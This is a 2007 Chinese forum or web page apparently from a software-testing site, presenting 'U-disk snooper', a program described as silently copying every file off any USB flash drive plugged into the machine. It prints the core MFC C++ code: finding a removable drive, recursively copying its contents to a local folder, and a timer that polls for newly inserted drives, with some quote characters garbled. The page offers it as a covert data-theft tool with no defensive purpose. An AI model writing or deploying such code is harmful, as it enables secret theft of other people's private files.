字号: 小 中 大 |
推荐给好友
上一篇 |
下一篇
闪盘窥探者
发布: 2007-7-01 20:40 |
作者: admin |
来源:
|
查看: 475次 | 进入软件测试论坛讨论
领测软件测试网
这是一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.
关键代码如下:
//-------查找U盘------------------------------- CString CFDiskThiefDlg::FindFdisk() { CString strdir=""; for(char cc=@#A@#;cc<=@#Z@#;cc++) { strdir.Format("%c:",cc); if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘 return strdir; } return strdir=""; } //--------复制文件----------------------------- void CFDiskThiefDlg::CopyFile(CString dir) { CFileFind tempFind; CString tempFileFind; tempFileFind.Format("%s\\*.*",dir); BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind); while(IsFinded) { IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDots()) { CString foundFileName; foundFileName=tempFind.GetFileName(); if(tempFind.IsDirectory()) { CString tempDir; tempDir.Format("%s\\%s",dir,foundFileName); CopyFile(tempDir); } else { CString tempFileName1,tempFileName2; tempFileName1.Format("%s\\%s",dir,foundFileName); tempFileName2.Format("%s\\%s",m_Path,foundFileName); ::CopyFile(tempFileName1,tempFileName2,FALSE); } } } tempFind.Close(); }
void CFDiskThiefDlg::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default if(IsRun) { m_NewFdisk=FindFdisk(); if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="") { CopyFile(m_NewFdisk); } if(m_NewFdisk!="") m_OldFdisk=m_NewFdisk; else m_OldFdisk="NULL"; }
CDialog::OnTimer(nIDEvent); } |
文章来源于领测软件测试网 https://www.ltesting.net/